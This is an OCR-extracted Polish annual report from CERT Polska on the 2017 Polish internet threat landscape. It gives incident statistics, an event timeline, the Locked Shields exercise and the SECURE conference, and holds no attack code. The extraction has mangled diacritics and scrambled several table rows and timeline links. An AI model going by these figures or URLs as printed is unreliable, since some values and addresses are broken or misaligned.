Krajobraz
bezpieczenstwa
polskiego internetu

ISSN 2084-9079



NASK/CERT Polska

ul. Kolska 12, 01-045 Warszawa
Telefon: +48 22 38 08 274
Faks: +48 22 38 08 399
www.cert.pl

Sktfad i tamanie:
DUSZEK STUDIO Agata Duszek-Serafin

*
* 5 *

Wspéifinansowany przez instrument Unii
Europejskiej ,,£aczac Europe”



nask CERT.PL

RAPORT ROCZNY
z dziatalnosci
CERT Polska

2017

Krajobraz
bezpieczenstwa
polskiego internetu



Rok 2017 to dla CERT Polska
okres uczestnictwa w wielu
krajowych i miedzynarodowych
projektach. Duza czes¢ z nich ma
charakter badawczo-rozwojowy.
Pozwalaja nam nie tylko bra¢
udziat w budowaniu nowatorskich
systeméw monitorowania

i analizy zagrozen oraz zwiekszac
mozliwosci naszego zespotu,

ale przede wszystkim zbieraé
nowe dane i informacje, ktére

sq udostepniane operatorom
telekomunikacyjnym, stuzbom
porzadkowym, administratorom
sieci oraz wielu innym podmiotom.”

Przemystaw Jaroszewski,
Kierownik CERT Polska
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Wstep

Przedstawiamy Panstwu
raport z dziatalnosci zespotu
CERT Polska w 2017 roku.
ZawarliSmy w nim najwaz-
niejsze, z naszego punktu
widzenia, obserwacje o stanie
bezpieczenstwa polskiego

i globalnego internetu. Mimo
podejmowanych staran, nasza
perspektywa jest naturalnie
ograniczona mozliwosciami
systemoéw zbierania infor-
macji oraz informacjami
przekazywanymi w zgtoszonych
incydentach bezpieczenstwa.
Dlatego zachecamy do dziele-
nia sie z nami wiedza, zarobwno
poprzez zgtaszanie pojedyn-
czych incydentow, jak i statg
wymiane informacji.

W minionym roku analizowali$my zagrozenia znane
juz z poprzednich lat, czyli oprogramowanie szyfru-
jace dane (ransomware), ztosliwe oprogramowanie
atakujace klientéw bankéw czy kampanie phishin-
gowe. Dosy¢ duzym problemem zaczety by¢ préby
wytudzania pieniedzy za pos$rednictwem fatszywych
ogtoszen sprzedazy.

Niestety naszego kraju nie ominety zagrozenia
poziomu globalnego. Zaawansowanego ataku
ukierunkowanego na sektor bankowy dokonata
(najprawdopodobniej) potnocnokoreanska grupa
Lazarus, znana z préby kradziezy miliarda dolaréw

z banku centralnego w Bangladeszu w 2016 roku. Do
infekcji ofiar wykorzystano witryne Komisji Nadzoru
Finansowego, czyli instytucje cieszaca sie zaufaniem
publicznym. Odczulismy takze globalne ataki opro-
gramowania szyfrujagcego Wannacry i NotPetya.

Rok 2017 to dla CERT Polska takze okres uczest-
nictwa w wielu krajowych i miedzynarodowych
projektach. Duza cze$¢ z nich ma charakter badaw-
czo-rozwojowy. Pozwalajg nam nie tylko bra¢ udziat
w budowaniu nowatorskich systeméw monitoro-
wania i analizy zagrozen oraz zwieksza¢ mozliwosci
naszego zespotu, ale przede wszystkim zbiera¢ nowe
dane i informacje, ktére sg udostepniane operatorom
telekomunikacyjnym, stuzbom porzadkowym, admi-
nistratorom sieci oraz wielu innym podmiotom. Na
tej podstawie mozemy zdobywacé nowa wiedze, ktéra
pomaga nam w lepszej ocenie stanu bezpieczenstwa
i szybszej reakcji na zagrozenia. Mamy nadzieje, ze
nasza praca przystuzy sie bezpieczenstwu internetu,
a tym samym przystuzy sie Panstwu.

Zapraszamy do lektury.

Zespo6t CERT Polska
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O CERT Polska

Zesp6t CERT Polska dziata w strukturach NASK
- Panstwowego Instytutu Badawczego prowadza-
cego dziatalno$¢ naukowa, krajowy rejestr domen
.pl i dostarczajgcego zaawansowane ustugi teleinfor-
matyczne. CERT Polska powstat w 1996 roku i byt
pierwszym w Polsce zespotem reagowania na incy-
denty (z ang. Computer Emergency Response Team).
Dzieki preznej dziatalnosci w srodowisku zespotow
reagujacych, stat sie rozpoznawalnym i doswiad-
czonym podmiotem w dziedzinie bezpieczenstwa
komputerowego. Od poczatku istnienia zespotu
rdzeniem jego dziatalnosci jest obstuga incydentéw
bezpieczenstwa i wspdtpraca z podobnymi jednost-
kami na catym S$wiecie, zarébwno w dziatalnosci
operacyjnej, jak i badawczo-wdrozeniowej. Od 1998
roku CERT Polska jest cztonkiem miedzynarodowego
forum zrzeszajacego zespoty reagujace - FIRST, a od
roku 2000 nalezy do grupy roboczej europejskich
zespotéw reagujacych - TERENA TF-CSIRT i dziata-
jacej przy niej organizacji Trusted Introducer. W 2005
roku z inicjatywy CERT Polska powstato forum
polskich zespotéw abuse - Abuse FORUM, natomiast
w 2010 roku CERT Polska dotaczyt do Anti-Phishing
Working Group, stowarzyszenia gromadzacego firmy
i instytucje aktywnie walczace z przestepczoscia
W sieci.

Do gtéwnych zadan zespotu CERT Polska nalezy:

® rejestrowanie i obstuga zdarzen naruszajgcych
bezpieczenstwo sieci;

o wykrywanie i analiza zagrozen wymierzonych
w szczegdblnosci w polskich internautéw lub
zagrazajacych domenie .pl;

e® aktywne reagowanie w przypadku wystapienia
bezposrednich zagrozen dla polskich internautéw;

® wspodtpraca z innymi zespotami CERT w Polsce

i na $wiecie oraz organami $cigania;

e udziat w krajowych i miedzynarodowych projek-
tach zwigzanych z tematyka bezpieczenstwa
teleinformatycznego;

e dziatalnos¢ badawcza z zakresu metod wykry-
wania incydentéw bezpieczenstwa, analizy
ztosliwego oprogramowania i systemoéw wymiany
informacji o zagrozeniach;

® rozwijanie wtasnych narzedzi do wykrywania,
monitorowania, analizy i korelacji zagrozen;

e regularne publikowanie Raportu CERT Polska
o bezpieczenstwie polskich zasobéw internetu;

® niezalezne analizy i testy rozwigzan z dziedziny
bezpieczenstwa teleinformatycznego;

e dziatania informacyjno-edukacyjne, zmierzajace
do wzrostu Swiadomosci w zakresie bezpieczen-
stwa teleinformatycznego, w tym:

» publikowanie informacji o bezpieczenstwie
na blogu cert.pl oraz w wybranych serwisach
spotecznos$ciowych;

» organizacja cyklicznej konferencji SECURE;

» szkolenia specjalistyczne.
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Najwazniejsze obserwacje
z 2017 roku

o Obserwujemy dynamiczny wzrost liczby zgtoszen oraz rejestrowanych na ich podstawie incydentéw (blisko
200% w stosunku do 2016 roku). W znacznej mierze wynika on ze wzrostu $wiadomosci mozliwosci zgtasza-
nia incydentéw do CERT Polska oraz obstugi w trybie 24/7.

® Rosnie stosunkowy udziat zgtoszen dotyczacych ztosliwego oprogramowania, w szczegélnosci ransomware.
Jest to zaréwno skutek wzrostu ciezaru tych atakéw, jak i prowadzonych przez nas dziatarh uswiadamiajacych
(na przyktad kampanii No More Ransom).

® Mamy do czynienia z powrotem robakéw internetowych - zaréwno zwigzanych z podatnosciami urzadzen
loT jak i ustug w systemach operacyjnych (np. EternalBlue w MS Windows). Wsréd wartych odnotowania
efektéw dziatania tych robakéw nalezy wymienié botnety loT oraz masowe infekcje w sieciach lokalnych
przez niszczacego dane NotPetya.

® Incydent w Komisji Nadzoru Finansowego byt pierwszym ujawnionym w Polsce powaznym incydentem
nakierowanym na caty sektor gospodarki (w tym przypadku finansowy). Wedtug niektérych zrodet atak byt
przeprowadzony przez obce panstwo.

® Pod koniec 2017 roku nasility sie wytudzenia z wykorzystaniem fatszywych sklepéw internetowych. Otrzy-
malismy 227 zgtoszen od poszkodowanych, tgcznie na blisko 200 tysiecy ztotych. Catkowita skala procederu
i zwigzanych z nim strat jest wielokrotnie wieksza.

o W 2017 roku mieliémy do czynienia z wieloma, czesto zapoczatkowanymi juz wczesniej, kampaniami dezin-
formacyjnymi. Zazwyczaj dazono w nich do zdyskredytowania konkretnych krajéw badz organizacji, albo
polaryzacja pogladéw.

® Rosnie popularnos¢ fatszywych aplikacji nakierowanych na uzytkownikéw bankowosci mobilnej. Coraz
czesciej pojawiaja sie one nawet w oficjalnych sklepach z aplikacjami.

e Zaréwno w Polsce jak i na swiecie dochodzito do wielu wyciekéw danych, nierzadko liczonych w milionach
rekordéw. Hasta z wyciekow, publikowane czesto w postaci kompilacji z kilku Zrédet, wykorzystywane sg
do uzyskiwania dostepu do kont uzytkownika w innych serwisach.

o W 2017 roku skrypty kopiace kryptowaluty wyparty exploit kity jako sposéb uzyskiwania przychodu z zainfe-
kowanych stron internetowych.

e W lutym 2017 wygenerowano skutecznie kolizje funkcji skrotu SHA-1, co ostatecznie wyklucza stosowanie
jej w bezpiecznych rozwigzaniach. Aktualnie zalecanymi alternatywami sg SHA-256 oraz SHA-3.

o Powazny problem stanowig podatno$ci ujawniane w komponentach niskiego poziomu, takich jak Intel ME,
ze wzgledu na trudnos¢ ich zatatania lub obejscia, a takze skale wystepowania.

® Incydenty zwigzane z dotaczeniem ztosliwego kodu do legalnego oprogramowania na stronie jego producenta
(CCleaner, MeDoc) dowodz3 jak istotng kwestig jest ,bezpieczny tancuch dostaw” dla wykorzystywanego
oprogramowania i sprzetu.

e Szacowany przez nas odsetek urzadzen bedacych czesécig botnetu w sieciach poszczegdlnych operatoréw
waha sie w przedziale 0,2-0,3 procenta.

o Ztosliwym oprogramowaniem, ktérego aktywnos¢ sieciowg z polskich adreséw obserwowalismy najczesciej
w 2017 roku byt Mirai - bot loT.

o Wociaz bardzo wiele urzadzen w polskich sieciach udostepnia ustugi pozwalajace na przeprowadzenie wzmoc-
nionych atakéw DoS (DRDoS). Chodzi gtéwnie o btednie skonfigurowane ustugi DNS i NTP. Na szczescie coraz
wiecej operatoréw dostrzega problem i wprowadza zmiany w domyslnym filtrowaniu niektérych protokotéw.
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Wozrost liczby
incydentéw oraz
zgtoszen obserwujemy
juz od wielu lat,

jednak
pod tym wzgledem
, 0 CZym
swiadcza liczby:

65 proc. wiecej
zarejestrowanych
incydentow

65%

198 proc. wiecej
przestanych zgtoszen

w stosunku do roku 2016
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Kalendarium

01

STYCZEN 2017

wiecej informacii...

12 Opublikowanie raportu o VENOM https:/wiki.egi.eu/wiki/Venom_Rootkit
. ' . https:/www.cert.pl/news/single/evil-prosty-ransomware-napisa-
18 Analiza ransomware'u Evil ny-jezyku-javascript/
30 ﬁ:?;lnganmocﬁ::ﬁc;::zrwego https:/www.cert.pl/news/single/nymaim-atakuje-ponownie/
. http:/www.itpro.co.uk/data-leakage/28008/witcher-3-dev-forums-
31 Wyciek danych CD PROJEKT RED hacked-18-million-accounts-stolen
02 LUTY 2017 wiecej informacji...
02 Publikacja informacji o ataku na polski https:/zaufanatrzeciastrona.pl/post/wlamania-do-kilku-bankow-skut-
sektor bankowy przez witryne KNF kiem-powaznego-ataku-na-polski-sektor-finansowy/
14 Analiza ransomware'u Sage 2.0 https:/www.cert.pl/news/single/analiza-sage-2-0/
. . https:/blog.cloudflare.com/incident-report-on-memory-leak-caused-
18 Odkrycie btedu w Cloudflare (wyciek) by-cloudflare-parser-bug/
Upublicznienie informacji o ztosliwym https: /zaufanatrzeciast Voost/ g e
. . . . . ps://zaufanatrzeciastrona.pl/post/uwaga-na-rzadowa-witryne-in-
21 EOd;Iek?? Wll_trym? Urzﬁdu ReJEStracJ' fekujaca-odwiedzajacych-ja-uzytkownikow-ransomware/
roduktow Leczniczyc
. .. https:/security.googleblog.com/2017/02/announcing-first-shal-col-
23 Pierwsza kolizja SHA1 lision htrml
03 MARZEC 2017 wiecej informacji...
09 Opublikowanie CVE-2017-5638 - RCE http:/blog.trendmicro.com/trendlabs-security-intelligence/
w Struts2 cve-2017-5638-apache-struts-vulnerability-remote-code-execution/
31 Kampania wymuszen Polish Stalking Group https:/www.cert.pl/news/single/polish-stalking-group/

04

KWIECIEN 2017

Ogtoszenie przystapienia CERT Polska do

wiecej informacii...

11 projektu No more ransom! https:/www.cert.pl/news/single/przystapienie-projektu-more-ransom/
14 Woyciek exploitéw NSA - ShadowBrokers https:/github.com/misterchOc/shadowbroker
26 ESSF;el}gi(C)I:T:nStytuc” ﬁnansowyCh przez https:/bgpmon.net/bgpstream-and-the-curious-case-of-as12389/
27 Zmiany w Kodeksie Karnym utatwiajace prace https:/sekurak.pl/czy-nowela-art-269b-kodeksu-karnego-bedzie-do-
pentesterom bra-dla-branzy-security/
05 MAJ 2017 wiecej informacji...
. £ . https://semiaccurate.com/2017/05/01/remote-security-ex-
01 Odkrycie podatnosci w Intel ME ploit-2008-intel-platforms/
05 Wyciek dokumentéw w zwigzku https:/www.theguardian.com/world/2017/may/06/emmanuel-ma-
z wyborami we Francji cron-targeted-by-hackers-on-eve-of-french-election
, https://zaufanatrzeciastrona.pl/post/masowa-niezwykle-skutec-
12 Atak ransomware'u WannaCry zna-kampania-ransomware-wylacza-cale-firmy/
15 Analiza ransomware'u WannaCry https:/www.cert.pl/news/single/wannacry-ransomware/
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24 Emotet v4

Analiza ztosliwego oprogramowania

https:/www.cert.pl/news/single/analiza-zlosliwego-oprogramowan-
ia-emotet-v4/

30 Analiza ransomware'u Mole

oraz publikacja narzedzia deszyfrujacego

06 CZERWIEC 2017

https:/www.cert.pl/news/single/mole-ransomware-analiza-dekryptor/

wiecej informacii...

12 Industroyer - Analiza Dragos https:/dragos.com/blog/crashoverride/CrashOverride-01.pdf
. https://zaufanatrzeciastrona.pl/post/ponad-tysiac-pols-
21 Raport ﬁrmy Exatel o ng EKw PL kich-stron-www-zarazalo-odwiedzajacych-je-internautow/
' https:/niebezpiecznik.pl/post/kolejny-grozny-globalny-atak-tym-
27 Atak ransomware'u NOtPetya razem-ransomware-petya-ofiary-sa-takze-w-polsce/
28 Opis ataku ransomware'u NotPetya https:/www.cert.pl/news/single/atak-petya-mischa/

07 LIPIEC 2017

07 Atak na rejestratora Gandi
09  WRZESIEN 2017

05 CVE-2017-9805 - RCE w Struts2

wiecej informacii...

https:/news.gandi.net/en/2017/07/detailed-incident-report/

wiecej informaciji...

https:/www.cert.pl/news/single/cve-2017-9805-zdalne-wykonanie-
kodu-w-apache-struts-2-rest-plugin-xstream/

18

Upublicznienie informacji o podmianie
kodu binarnego aplikacji CCleaner

https:/blog.talosintelligence.com/2017/09/avast-distributes-malware.
html

29 Analiza ztosliwego oprogramowania Ramnit

10 PAZDZIERNIK 2017

https:/www.cert.pl/news/single/ramnit-doglebna-analiza/

wiecej informagii...

https:/zaufanatrzeciastrona.pl/post/miliony-kluczy-rsa-generow-

16 Podatnosci w module RSA procesoréw Infeon anych-sprzetowo-podatnych-na-zlamanie/

. fpz https:/zaufanatrzeciastrona.pl/post/zapomnij-o-bezpieczenstwie-sie-
16 Ogtoszenie szczegétéw ataku KRACK ci-wifi-wszystkie-da-sie-zhakowac/
19 Analiza spambota Tofsee https:/www.cert.pl/news/single/glebsze-spojrzenie-moduly-tofsee/

' . https:/niebezpiecznik.pl/post/bad-rabbit-czyli-atak-ulepszona-notpe-
24 Atak ransomware'u BadRabbit tya-ktory-zaszyfrowal-dane-na-ukrainie-w-rosji-oraz-w-polsce/
. https: .cert.pl ingle/konkurs-capture-flag-w- h-

27 Rozpoczecie konkursu CTF w ramach ECSM ecsﬂi_/%ﬁv}' cert.pl/news/single/konkurs-capture-flag-w-ramac

11 LISTOPAD 2017

wiecej informaciji...

MS Office - Wykonanie kodu bez uzycia

09 makr (DDE) https:/sensepost.com/blog/2017/macro-less-code-exec-in-msword/

16 Uruchomienie 9.9.9.9 (bezpieczny DNS) http:/www.quad9.net/

23 Atak botnetu Satori https:/research.checkpoint.com/good-zero-day-skiddie/

28 MacOS X - Mozliwos¢ uzyskania dostepu https://niebezpiecznik.pl/post/powazny-blad-w-macos-na-konto-roo-
do konta root bez hasta ta-mozna-zalogowac-sie-bez-hasla/

29 Neutralizacja botnetu Andromeda https:/www.europol.europa.eu/newsroom/news/andromeda-bot-

12 GRUDZIEN 2017

Oswiadczenie autora BrickerBota

1 o zaprzestaniu dziatan

net-dismantled-in-international-cyber-operation

wiecej informacii...

https:/www.bleepingcomputer.com/news/security/brickerbot-author-
retires-claiming-to-have-bricked-over-10-million-iot-devices/
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Ochrona cyberprzestrzeni RP
| dziatania CERT Polska

Obstuga incydentow i reagowanie

na zagrozenia

Niniejsza czes¢ raportu zawiera statystyki zgto-
szen przekazanych zespotowi CERT Polska

i zarejestrowanych w oparciu o nie incydentéw
bezpieczenstwa. Wspomniane zgtoszenia byty
przesytane poprzez formularz znajdujacy sie na
stronie www.cert.pl (zaktadka ,Zgto$ incydent”)
lub mailowo na adres: cert@cert.pl. Statystyka nie
obejmuje danych gromadzonych i przetwarzanych
automatycznie w systemie né.

Rok 2017 przyniost rekordowa liczbe 21 711
zgtoszen, ktore zostaty uwaznie przeanalizowane

i pogrupowane. W oparciu o 4 761 sposréd nich zare-
jestrowalismy tacznie 3 182 incydenty bezpieczenstwa
(czasami kilka zgtoszen z réznych Zrodet dotyczyto
tego samego incydentu). Tabela 1 zawiera podsu-
mowanie incydentéw w podziale na kategorie ujete

w uaktualnionej klasyfikacji zaproponowanej przez
eCSIRT.net!. W poréwnaniu do klasyfikacji, ktora
postugiwalismy sie do tej pory, zostaty w niej wyszcze-
goélnione nowe kategorie: Rootkit (w sekcji ,Ztosliwe
oprogramowanie”), Bot (w sekcji ,Wtamania”), Przerwa
w dziataniu ustug (w sekgcji ,Dostepnos¢ zasobow”),
Phishing (jako odrebna kategoria od atakéw zwiaza-
nych z podszyciem sie i kradziezg tozsamosci) oraz
kategoria Podatne ustugi i podkategoria Otwarte
serwisy podatne na naduzycia.

Sukcesywny wzrost liczby incydentéw oraz samych
zgtoszen obserwujemy juz od wielu lat, jednak ubie-
gty rok byt pod tym wzgledem rekordowy, o czym
Swiadcza liczby: 65 proc. wiecej zarejestrowanych

incydentow oraz 198 proc. wiecej przestanych
zgtoszen w stosunku do roku 20162. Cieszy nas
wzrastajgca w spoteczenstwie $wiadomos¢ istniejg-
cych zagrozen, zwtaszcza jesli dostajemy zgtoszenie
z informacja o prébie ataku, ktéry na skutek czuj-
nosci uzytkownika nie powiddt sie. Najprosciej
zobrazowac mozna to nastepujgcym przyktadem:
osoba, ktéra otrzymuje podejrzang wiadomosc¢
phishingowa, zawierajgcg ztosliwy zatacznik,
zamiast go uruchomié, przekazuje nam zabezpie-
czony materiat do analizy.

Jednym z czynnikdw, ktéry niewatpliwie znaczaco
przyczynit sie do wzrostu liczby obstuzonych incy-
dentow, jest zwiekszenie mozliwosci operacyjnych
naszego zespotu, w tym uruchomienie pierwszej
linii przyjmujacej zgtoszenia w trybie 24/7/365.

Analizujac odsetek incydentéw w odniesieniu do
wszystkich zarejestrowanych, prym nadal wioda
oszustwa komputerowe (zwtaszcza phishing) oraz
ztosliwe oprogramowanie, jednakze warto zwroé-
ci¢ uwage na dwie kwestie. Po pierwsze odsetek
phishingdéw spadt o ok. 12 punktéw procentowych
w stosunku do ubiegtego roku - z ok. 53 proc. do
ok. 41 proc. (poréownujac do kategorii ,Kradziez
tozsamosci, podszycie sie” z 2016 r., gdzie prze-
waga incydentow phishingowych byta miazdzaca
w stosunku do innych w tej kategorii). Druga kwestia
to prawie 2,5-krotny wzrost liczby incydentéw
zwigzanych z dystrybucja ztosliwego oprogramo-
wania - z ok. 11 proc. do ok. 27 proc. Tendencja

1 https:/www.trusted-introducer.org/Incident-Classifica-
tion-Taxonomy.pdf

2 por. https:/www.cert.pl/news/single/krajobraz-bez-
pieczenstwa-polskiego-internetu-2016-roku/
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ta jest szczegdlnie niepokojaca z uwagi na chetnie
wykorzystywane przez przestepcéw rézne warianty
oprogramowania typu ransomware (szyfrujacego
zasoby systemu ofiary i zadajgcego optaty za przesta-
nie klucza odszyfrowujacego) oraz tzw. bankery, czyli
ztosliwe oprogramowanie ukierunkowane na klien-
téw bankowosci elektronicznej i mobilne;j.

Warto takze zwrdci¢ uwage na rosnacg liczbe
préb wiaman do systemoéw, urzadzen i aplikacji

- zakonczonych sukcesem badz tylko podjetych.
Zwtaszcza w kontekscie braku aktualizacji bezpie-
czenstwa systemow oraz uzywania stabych,
tatwych do ztamania lub wrecz domysinych haset.
Ta ostatnia kwestia dotyczy w szczegdlnosci
urzadzen internetu rzeczy (ang. loT, Internet of
Things), podtaczanych czesto do globalnej sieci
bez zadnego namystu, ze standardowg konfigu-

Typ incydentu

Obrazliwe i nielegalne tresci

Spam

Dyskredytacja, obrazanie

Pornografia dziecieca, przemoc

Niesklasyfikowane

Ztosliwe oprogramowanie

Wirus

Robak sieciowy

Kon trojanski

Oprogramowanie szpiegowskie

Dialer

Rootkit

Niesklasyfikowane

Gromadzenie informacji

Skanowanie

Podstuch

Inzynieria spoteczna

Niesklasyfikowane

racjg producenta. Sprawia to, ze urzadzenie staje
sie tatwym celem ataku, gtéwnie przez malware
loT, ale takze dla postronnych wiamywaczy, ktérzy
moga bez problemu znalez¢ domysine hasto admi-
nistratora w publicznie dostepnej dokumentacji
danego urzadzenia.

Chec tatwego zarobku kosztem nieostroznych uzyt-
kownikéw internetu jest i nadal bedzie gtéwnym
motywem przestepstw w wirtualnym $wiecie. Prze-
stepcy z pewnoscia beda czerpac korzysci z tego
procederu, dopdki swiadomos¢ uzytkownikéw

i administratoréw systemoéw informatycznych nie
wzrosnie do poziomu podwazajgcego optacalnosé
opisywanych atakéw. Dziatalnos¢ zespotéw CERT
(w tym réwniez CERT Polska) stanowi wazng czes$é
procesu podnoszenia tej Swiadomosci i promowania
bezpiecznych praktyk korzystania z globalnej sieci.

Liczba incydentow %

195 6,13
189 5,94
0 0
0 0]

6 0,19
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Typ incydentu Liczba incydentéw %
Préby wiaman 262 8,23
Wykorzystanie znanych luk systemowych 38 1,19
Préby nieuprawnionego logowania 72 2,26
Wykorzystanie nieznanych luk systemowych 1 0,03
Niesklasyfikowane 4,75
Wiamania 3,71
Witamanie na konto uprzywilejowane 0,13
Witamanie na konto zwykte 0,31
Wtamanie do aplikacji 1,01
Bot 0,94
Niesklasyfikowane 1,32
Dostepnosc¢ zasobow 1,67
Atak blokujacy serwis (DoS) 0,35
Rozproszony atak blokujacy serwis (DDoS) 1,29
Sabotaz komputerowy 0
Przerwa w dziataniu ustug (nieztosliwe) 0
Niesklasyfikowane 0,03
Atak na bezpiweczenstwo informacji 0,88
Nieuprawniony dostep do informacji 0,5
Nieuprawniona zmiana informacji 0,16
Niesklasyfikowane 0,22
Oszustwa komputerowe 45,22
Nieuprawnione wykorzystanie zasobéw 0,16
Naruszenie praw autorskich 1,07
Kradziez tozsamosci, podszycie sie 0,31
Phishing 40,98
Niesklasyfikowane 2,7
Podatne ustugi 0,75
Otwarte serwisy podatne na naduzycia 0,19
Niesklasyfikowane 0,57
Inne 1,63

Tabela 1. Incydenty obstuzone przez CERT Polska wedtug typow
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Rok

1996

1997

1998
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2000

2001

2002

2003

2004
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2006
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2014
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2016
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Tabela 2. Liczba incydentéw obstuzonych recznie przez CERT Polska

Liczba incydentow
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Cwiczenia NATO Locked Shields 2017

@ o

Locked Shields to coroczne defensywne ¢éwiczenia
bezpieczenstwa teleinformatycznego, organizowane
przez Centrum Doskonalenia Obrony Cyberprze-
strzeni NATO (NATO Cooperative Cyber Defence
Centre of Excellence). W 2017 roku odbyty sie

w dniach 24-27 kwietnia, prowadzone byty z Tallina
w Estonii, a bronigce sie przed atakami druzyny graty
zdalnie. Locked Shields to najwieksze tego typu
¢wiczenia na Swiecied. W 2017 roku wzieto w nich
udziat ponad 800 o0sd6b z 25 krajow (o 200 wiecej niz
w poprzedniej edycji), a liczba przeprowadzonych
atakow na infrastrukture broniong przez 20 zespo-
téw “niebieskich” przekroczyta 2500.

Jak co roku, ¢wiczenia miaty symulowac rozpoczy-
najacy sie konflikt pomiedzy fikcyjnymi krajami:
Berylia, bedaca cztonkiem NATO, i Crimsonia. Zada-
niem kazdego z zespotdw “niebieskich” byta obrona
swojej kopii infrastruktury wojskowej bazy lotniczej
w Berylii opierajacej sie na blisko 150 zwirtualizo-
wanych systemach informatycznych. Wsréd nich
standardowo znalazty sie serwery, stacje robocze,
urzadzenia sieciowe czy sterownik PLC (obstugujacy
w tej edycji éwiczen tankowanie samolotéw).

Rysunek 1. Sterowniki PLC*

3 https://ccdcoe.org/locked-shields-2017.html

4 https://ccdcoe.org/gallery/set/72157679918414253.
html

Nowos$cig w warstwie technicznej byto znaczne
rozbudowanie scenariusza pod wzgledem uzycia
specjalistycznych systeméw infrastruktury krytycz-
nej. Pojawity sie m.in.: system SCADA firmy Siemens®
odpowiedzialny za obstuge sieci energetycznej na
terenie bazy lotniczej, system planowania i kontroli
nad operacjami lotniczymi “AirC2” oraz symulator

i oprogramowanie drona obserwacyjnego estonskiej
firmy Threod Systems.

Na pierwszym miejscu koricowej klasyfikacji gene-
ralnej znalazta sie reprezentacja Czeché. Miejsca na
podium zajat rowniez zespot z Estonii oraz NCIRC
(Zespot Reagowania na Incydenty NATO). Oprécz
zabezpieczenia systeméw i reagowania na wyste-
pujace incydenty, czyli gtébwnej czesci ¢wiczen,
wszystkie zespoty byty oceniane réwniez za wyko-
nanie osobnego zadania dotyczacego informatyki
$ledczej, przeprowadzonych analiz prawnych, komu-
nikacji medialnej oraz, co réwniez byto nowoscia

w tej edycji, komunikacji strategicznej w formule
table-top. Polska zajeta szdste miejsce, podobnie jak
w poprzednim roku’.

Polska reprezentacja pod przewodnictwem Narodo-
wego Centrum Kryptologii sktadata sie z wojskowych
i cywilnych ekspertow: Inspektoratu Systeméw
Informacyjnych, Resortowego Centrum Zarzadzania
Projektami Informatycznymi, Wojskowej Akademii
Technicznej, Agencji Bezpieczennstwa Wewnetrz-
nego, CERT Polska, Komendy Gtéwnej Policji,
Komendy Gtéwnej Zandarmerii Wojskowej, Stuzby
Kontrwywiadu Wojskowego oraz Centrum Operacji
Cybernetycznych.

5 https:/www.siemens.com/customer-magazine/en/
home/energy/power-transmission-and-distribution/
control-centers-the-brain-of-any-power-system.html

6 https://ccdcoe.org/czech-team-wins-cyber-defence-
exercise-locked-shields-2017.html

7 http:/www.mon.gov.pl/aktualnosci/artykul/najnowsze/
locked-shields-2017-12017-04-28/
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Rysunek 2. Monitoring systemu sterowania siecig
energetyczna

Locked Shields to jedne z najwazniejszych éwiczen,
w ktoérych biorg udziat osoby na co dzien bronigce
zaréwno wojskowej, jak i cywilnej infrastruktury
krajéw cztonkowskich NATO. W obliczu coraz wiek-
szych zagrozen bezpieczenstwa teleinformatycznego,
kluczowym elementem ¢éwiczen jest komunikacja
pomiedzy cztonkami poszczegdlnych druzyn (pocho-
dzacych czesto z réznych instytucji) oraz wspoétpraca
miedzynarodowa, ktéra punktowana jest réwniez
podczas samych zawodow.

Konferencja SECURE 2017

KONFERENCJA

S€ans

W dniach 24-25 pazdziernika 2017 roku odbyta sie
21. konferencja SECURE, organizowana przez NASK
i zespot CERT Polska. W programie znalazto sie
ponad 40 prezentacji, poruszajgcych szeroka game
tematéw: od bezpieczenstwa urzadzen loT, przez
fake newsy i zagadnienia prawno-ustawodawcze, po
ataki ukierunkowane i analize podatnosci.

Konferencje otworzyta Kim Zetter prezentacja
“Stuxnet and Beyond: Digital Weapons and the
Future of Our Cities”. Tego samego dnia Adrian “Just
Edi” Pruski pokazywat tajniki iluzji w wystagpieniu
“Strategia odwrdcenia uwagi, kontroli oraz rola

iluzji w inzynierii spotecznej”. Wielu stuchaczy przy-
ciaggneta prezentacja Michata Sajdaka “Historia 3
kamer - historia 3 adminéw”. Dwie prezentacje poka-
zywaty z réznych perspektyw atak na KNF (“KNF.
WannaCry. Petya. What we can conclude from these
incidents?” Artura Maja oraz “Dobry, zty i brzydki:
Obstuga ataku grupy Lazarus w Polsce” Macieja
Kotowicza), natomiast Paul Vixie opowiadat o proble-
mach we wspotpracy miedzy partnerami w obszarze
bezpieczenstwa w “Overcoming Structural Defects in
Digital Defence”. Pierwszego dnia konferencji odbyta

sie takze debata “Przysztos¢ w swiecie inteligentnych
maszyn”.

Drugi dzien konferencji takze obfitowat w ciekawe
wystgpienia. Gtdwne prezentacje to m.in. “Cyberse-
curity is a shared responsibility” Udo Helmbrechta
czy “The Promise and Peril of Machine Learning and
Automation in Cybersecurity” Johna Bambenka.

W trakcie prezentacji rownolegtych wielu stuchaczy
przyciagneto wystapienie Adama Haertle i Adama
Lange o kampaniach ztos$liwego oprogramowania
pochodzacych z Polski - zatytutowane “20 przed-
stawien jednego aktora - polskie kampanie malware
w 2017". Duzym zainteresowaniem cieszyty sie
prezentacje w formule Lightning Talks - zaréwno od
strony prezentujacych, jak i stuchaczy.

Jak co roku na konferencji znalazty sie prezentacje
cztonkéw zespotu CERT Polska, m.in. “Use your
enemies: tracking botnets with bots” Jarostawa
Jedynaka i Pawta Srokosza, “Rozpoznanie wstepne:
sprawa fatszywych sklepow” Janusza A. Urbanowi-
cza i Filipa Marczewskiego, “Dwa $wiaty ztos$liwych
zadan HTTP” Piotr Biatczaka, “More bugs, bugs,
bugs! Thoughts after a year of fuzzing popular open
source projects” Kamila Frankowicza czy “Cyfrowa
rodzina - nowe wyzwanie w pudetku z zabawkami”
Przemka Jaroszewskiego i Anny Rywczynskiej

z Akademii NASK.
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Konferencje honorowym patronatem objety:
Ministerstwo Cyfryzacji, Europejska Agencja Bezpie-
czenstwa Sieci i Informacji ENISA, Urzad Komunikacji
Elektronicznej, Polska Izba Informatyki i Telekomuni-
kacji oraz Instytut KosSciuszki.

Wiecej informacji o konferencji:
http:/www.secure.edu.pl/
http://fb.com/Konferencja.SECURE

Europejski Miesiac Bezpieczenstwa

Cybernetycznego

’ ,
i
g

EUROPEJSKI

MIESIAC

BEZPIECZENSTWA
CYBERNETYCZNEGO

M

Od 2012 roku w pazdzierniku obchodzony jest
Europejski Miesigc Cyberbezpieczenstwa. Jest to
inicjatywa Komisji Europejskiej oraz Agencji Unii
Europejskiej ds. Bezpieczenstwa Sieci i Informacji
(ENISA). W ramach akcji “European Cybersecurity
Month (ECSM)” kazdy z krajéw cztonkowskich co
roku organizuje wydarzenia majace poprawic $wia-

domos¢ o zagrozeniach wystepujacych w internecie.

W Polsce wiele inicjatyw organizuje NASK PIB
(petnga ich liste mozna zobaczy¢ na stronie bezpiecz-
nymiesiac.pl), a dziatajacy w jego ramach CERT
